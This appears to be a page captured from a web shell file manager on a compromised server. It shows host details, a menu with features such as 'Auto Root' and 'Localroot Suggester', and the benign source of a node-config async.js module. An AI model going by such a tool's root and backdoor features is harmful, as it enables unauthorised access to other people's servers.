Linux bear.hostingplus.cl 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
LiteSpeed
Server IP : 192.140.57.17 & Your IP : 216.73.216.106
Domains :
Cant Read [ /etc/named.conf ]
User : explo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
bitninja-threat-hunting /
node_modules /
config /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2024-07-04 08:39
History.md
18.91
KB
-rw-r--r--
2024-07-01 08:57
LICENSE
1.1
KB
-rw-r--r--
2024-07-01 08:57
README.md
9.27
KB
-rw-r--r--
2024-07-01 08:57
async.js
2.4
KB
-rw-r--r--
2024-07-01 08:57
defer.js
926
B
-rw-r--r--
2024-07-01 08:57
package.json
2
KB
-rw-r--r--
2024-07-01 08:57
parser.js
9.82
KB
-rw-r--r--
2024-07-01 08:57
raw.js
384
B
-rw-r--r--
2024-07-01 08:57
Save
Rename
var asyncSymbol = Symbol('asyncSymbol'); var deferConfig = require('./defer').deferConfig; /** * @param promiseOrFunc the promise will determine a property's value once resolved * can also be a function to defer which resolves to a promise * @returns {Promise} a marked promise to be resolve later using `resolveAsyncConfigs` */ function asyncConfig(promiseOrFunc) { if (typeof promiseOrFunc === 'function') { // also acts as deferConfig return deferConfig(function (config, original) { var release; function registerRelease(resolve) { release = resolve; } function callFunc() { return promiseOrFunc.call(config, config, original); } var promise = asyncConfig(new Promise(registerRelease).then(callFunc)); promise.release = release; return promise; }); } var promise = promiseOrFunc; promise.async = asyncSymbol; promise.prepare = function(config, prop, property) { if (promise.release) { promise.release(); } return function() { return promise.then(function(value) { Object.defineProperty(prop, property, {value: value}); }); }; }; return promise; } /** * Do not use `config.get` before executing this method, it will freeze the config object * @param config the main config object, returned from require('config') * @returns {Promise<config>} once all promises are resolved, return the original config object */ function resolveAsyncConfigs(config) { var promises = []; var resolvers = []; (function iterate(prop) { var propsToSort = []; for (var property in prop) { if (Object.hasOwnProperty.call(prop, property) && prop[property] != null) { propsToSort.push(property); } } propsToSort.sort().forEach(function(property) { if (prop[property].constructor === Object) { iterate(prop[property]); } else if (prop[property].constructor === Array) { prop[property].forEach(iterate); } else if (prop[property] && prop[property].async === asyncSymbol) { resolvers.push(prop[property].prepare(config, prop, property)); promises.push(prop[property]); } }); })(config); return Promise.all(promises).then(function() { resolvers.forEach(function(resolve) { resolve(); }); return config; }); } module.exports.asyncConfig = asyncConfig; module.exports.resolveAsyncConfigs = resolveAsyncConfigs;